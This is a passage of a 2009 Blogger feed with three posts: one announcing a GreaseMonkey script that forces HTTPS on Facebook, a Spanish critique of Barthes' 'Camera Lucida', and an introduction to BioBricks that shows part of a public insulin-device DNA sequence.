onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_tJD3vUnZtL0/SlFr2tx-byI/AAAAAAAAAFc/SXVp_nTni44/s1600-h/facebook_secure.pro.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 33px;" src="http://4.bp.blogspot.com/_tJD3vUnZtL0/SlFr2tx-byI/AAAAAAAAAFc/SXVp_nTni44/s400/facebook_secure.pro.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5355180019666546466" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/a&gt;Facebook supports the usage of &lt;span style="font-style:italic;"&gt;secure&lt;/span&gt; encrypted connections, i.e. HTTPS or HTTP over SSL. (See technical note below for technical security concepts.) But unless the Facebook team decides to put it by default or as an option in their configuration is not usable. So I decided to make a small &lt;a href="http://https://addons.mozilla.org/en-US/firefox/addon/748"&gt;GreaseMonkey&lt;/a&gt; &lt;a href="http://userscripts.org/scripts/show/49079"&gt;script&lt;/a&gt; to replace HTTP with HTTPS whenever is possible. I call it &lt;a href="http://userscripts.org/scripts/show/49079"&gt;Facebook Secure Pro&lt;/a&gt; because it is based on the script Gmail Secure Pro version 1.1.&lt;br /&gt;&lt;br /&gt;The last version of the &lt;a href="http://http://userscripts.org/scripts/show/49079"&gt;script&lt;/a&gt;, version 1.1, Is working okey except for the following issues:&lt;br /&gt;&lt;br /&gt; - Photos and Videos are not supported encrypted by Facebook, probably due to performance.&lt;br /&gt; - Facebook Chat apparently is not supported by Facebook or the script broke it.&lt;br /&gt; - Share button is apparently broken.&lt;br /&gt;&lt;br /&gt;Please report any  comment you have or error you found in the &lt;a href="http://http://userscripts.org/scripts/issues/49079"&gt;Issues section&lt;/a&gt;. I hope the Facebook team decides to use secure connections by default, like Gmail these days, or at least optional from the configuration.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://userscripts.org/scripts/show/49079"&gt;Download the script!&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Technical Note:&lt;/span&gt; In this case &lt;span style="font-style:italic;"&gt;secure&lt;/span&gt; means that using HTTPS anyone sniffing your Facebook traffic can't see it, for example in your favorite cybercafe, unless the eavesdropper uses a more sofisticated attack called &lt;a href="http://www.blackhat.com/presentations/bh-usa-03/bh-us-03-ornaghi-valleri.pdf"&gt;man-in-the-middle&lt;/a&gt;. Also, in the latter case, the eavesdropper very probably can't use the original and secret certificate owned by Facebook for the connection. That means you conversation will be stolen but you will problably see a wrong certificate, not assigned to Facebook. Messing with SSL certificates can be done by an eavesdropper but &lt;a href="http://blogs.zdnet.com/security/?p=2339"&gt;a really hard and experimental attack&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8700396122275014565-294829768673651045?l=blog.mechpoet.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mechpoet.net/feeds/294829768673651045/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://blog.mechpoet.net/2009/07/facebook-secure-pro-encripting-it.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/294829768673651045'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/294829768673651045'/><link rel='alternate' type='text/html' href='http://blog.mechpoet.net/2009/07/facebook-secure-pro-encripting-it.html' title='Facebook Secure Pro, Encripting it!'/><author><name>thermo</name><uri>http://www.blogger.com/profile/11421452711580282885</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_tJD3vUnZtL0/SUT9GXzKcmI/AAAAAAAAAAM/Ms6BESxVkFs/S220/cono_del_encono.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_tJD3vUnZtL0/SlFr2tx-byI/AAAAAAAAAFc/SXVp_nTni44/s72-c/facebook_secure.pro.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8700396122275014565.post-7500157198416757503</id><published>2009-06-27T18:33:00.001-07:00</published><updated>2009-06-27T19:21:35.857-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='fotografia'/><category scheme='http://www.blogger.com/atom/ns#' term='roland'/><category scheme='http://www.blogger.com/atom/ns#' term='lucida'/><category scheme='http://www.blogger.com/atom/ns#' term='camara'/><category scheme='http://www.blogger.com/atom/ns#' term='barthes'/><title type='text'>Un libro poco lúcido</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_tJD3vUnZtL0/SkbNwsmt6VI/AAAAAAAAAFM/ubscNg1RARE/s1600-h/la_camara_lucida.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 236px; height: 400px;" src="http://4.bp.blogspot.com/_tJD3vUnZtL0/SkbNwsmt6VI/AAAAAAAAAFM/ubscNg1RARE/s400/la_camara_lucida.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5352191443667380562" /&gt;&lt;/a&gt;&lt;br /&gt;Me encanta leer los libros que me regalan porque ya tengo la certeza de que puedo discutirlo con alguién. En este caso leí &lt;span style="font-style:italic;"&gt;La cámara lúcida&lt;/span&gt; (&lt;span style="font-style:italic;"&gt;La chambre claire&lt;/span&gt;) de &lt;a href="http://es.wikipedia.org/wiki/Roland_Barthes"&gt;Roland Barthes&lt;/a&gt; (Cherburgo, 12 de noviembre de 1915 – París, 25 de marzo de 1980). Es el primer libro que leo de este autor. Sabía que me iba gustar leerlo para desmenuzarlo y criticarlo como se merece. Como sospechaba, Barthes, como muchos filósofos del siglo XX cae en la tentación de hablar de un tema que desconoce. En todo el libro Barthes no comenta ninguna fotografía sacada por él, ni dice haber obturado alguna vez una cámara. Entonces pienso que interesante un libro sobre fotografía escrito por una persona que pareciera nunca saco una fotografía y que además vivió toda su vida con su madre. Como Barthes se dedica al estudio de los símbolos, la semiótica, voy a inferir que esto es otro símbolo de la decadencia filosófica en el siglo XX. Ni hablar que cita en este libro a otro libro del autor, llamado &lt;span style="font-style:italic;"&gt;Roland Barthes por sí mismo&lt;/span&gt;, una autobiografía que nos llega como otro símbolo de su humildad y modestia. El problema que yo encontré es que como libro de filosofía es pobre porque el autor busca en su escrito hacer una fusión de conceptos filosóficos, literarios (con citas a Proust incluidas) y autobiográficos. El resultado final entonces es poco nutritivo en los tres aspectos y transmite una suerte de sensación onanista fotografica &lt;span style="font-style:italic;"&gt;amateur&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;La cámara lúcida se centra en una análisis poco superficial de tema, del cual yo también soy lego. Si principal tesis es que en la fotografía se trata de la búsqueda del &lt;span style="font-style:italic;"&gt;Esto-a-sido&lt;/span&gt;. Podemos comentar que no siempre la fotografía es realista porque se puede buscar hacer una fotografía surrealista o retocada con herramientas de post-producción. Esto contradice la tesis de Barthes.&lt;br /&gt;&lt;br /&gt;Recorramos brevemente algunas de las gemas literarias con las que nos hace reír Barthes. Enfaśis incluidos en el original.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;[..] si la fotografía se convierte entonces en algo horrible es porque certifica, por decirlo así, que el cádaver es algo viviente, &lt;span style="font-style:italic;"&gt;en tanto que cadaver&lt;/span&gt;, es la imagen viviente de una cosa muerta.&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;(Pág. 124)&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Suele decir que fueron los pintores quienes inventaron las Fotografía [..] Yo afirmo: no, fueron los químicos.&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;(Pág. 126)&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;[..] muchos dicen que es el azúcar es dulce, pero yo encuentro el azúcar violento [..]&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;(Pag. 141)&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;[..] la Foto [..] como un organismo viviente, nace a partir de los granos de plata que germinan [..]&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;(Pág. 143) El fragmento que sigue es muy deprimente, suicidas abstenerse.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Antes la única foto en la que veo juntos a mi padre y a mi madre [..] es el amor como tesoro lo que va a desaparecer para siempre jamás; pues cuando yo ya no esté aquí, nadie podra testimoniar sobre aquel amor [..]&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;(Pág. 145)&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;La Fotografía es &lt;span style="font-style:italic;"&gt;llana&lt;/span&gt; en todos los sentidos del término [..]&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;(Pág. 160)&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;[..] la mirada es siempre virtualmente loca: es al mismo tiempo efecto de verdad y efecto de locura.&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Los dejo con Roland Barthes, su fotografía y su madre.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_tJD3vUnZtL0/SkbR7f5g4QI/AAAAAAAAAFU/fDwW5VrtnjM/s1600-h/RolandBarthes.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 312px; height: 253px;" src="http://2.bp.blogspot.com/_tJD3vUnZtL0/SkbR7f5g4QI/AAAAAAAAAFU/fDwW5VrtnjM/s400/RolandBarthes.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5352196027281629442" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8700396122275014565-7500157198416757503?l=blog.mechpoet.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mechpoet.net/feeds/7500157198416757503/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://blog.mechpoet.net/2009/06/un-libro-poco-lucido.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/7500157198416757503'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/7500157198416757503'/><link rel='alternate' type='text/html' href='http://blog.mechpoet.net/2009/06/un-libro-poco-lucido.html' title='Un libro poco lúcido'/><author><name>thermo</name><uri>http://www.blogger.com/profile/11421452711580282885</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_tJD3vUnZtL0/SUT9GXzKcmI/AAAAAAAAAAM/Ms6BESxVkFs/S220/cono_del_encono.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_tJD3vUnZtL0/SkbNwsmt6VI/AAAAAAAAAFM/ubscNg1RARE/s72-c/la_camara_lucida.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8700396122275014565.post-5080853462769376817</id><published>2009-06-09T19:08:00.000-07:00</published><updated>2009-06-09T22:27:14.983-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='virus'/><category scheme='http://www.blogger.com/atom/ns#' term='biology'/><category scheme='http://www.blogger.com/atom/ns#' term='syntetic'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='biobrick'/><title type='text'>BioBricks, Syntetic Biology and Future Security Challenges!</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_tJD3vUnZtL0/Si8-NNOzWvI/AAAAAAAAAEk/u8d3SVK5mpI/s1600-h/viri.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 100px; height: 86px;" src="http://1.bp.blogspot.com/_tJD3vUnZtL0/Si8-NNOzWvI/AAAAAAAAAEk/u8d3SVK5mpI/s400/viri.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5345559679323036402" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://syntheticbiology.org/"&gt;Synthetic Biology&lt;/a&gt; is the design and construction of new biological parts, devices, and systems, and the re-design of existing, natural biological systems for useful purposes. &lt;a href="http://en.wikipedia.org/wiki/BioBrick"&gt;BioBrick&lt;/a&gt; is a standard specification being recently developed to specify bio-molecular parts, that is, the building blocks of molecular biology. These DNA bricks are contained inside plasmids, that are circular strings of DNA copied inside bacteria. The even have an &lt;a href="http://partsregistry.org/wiki/index.php/Main_Page"&gt;open repository&lt;/a&gt; were everyone can upload their own parts and share them with other researchers.&lt;br /&gt;&lt;br /&gt;For example here I retrieved the &lt;a href="http://partsregistry.org/wiki/index.php/Part:BBa_I761007"&gt;DNA that encodes a device for generating insulin&lt;/a&gt; (when present in the form of a plasmid inside bacteria?).&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&lt;tt&gt;&lt;br /&gt;&gt;BBa_I761007 Part-only sequence (600 bp)&lt;br /&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;br /&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;br /&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;br /&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;br /&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;br /&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800080; 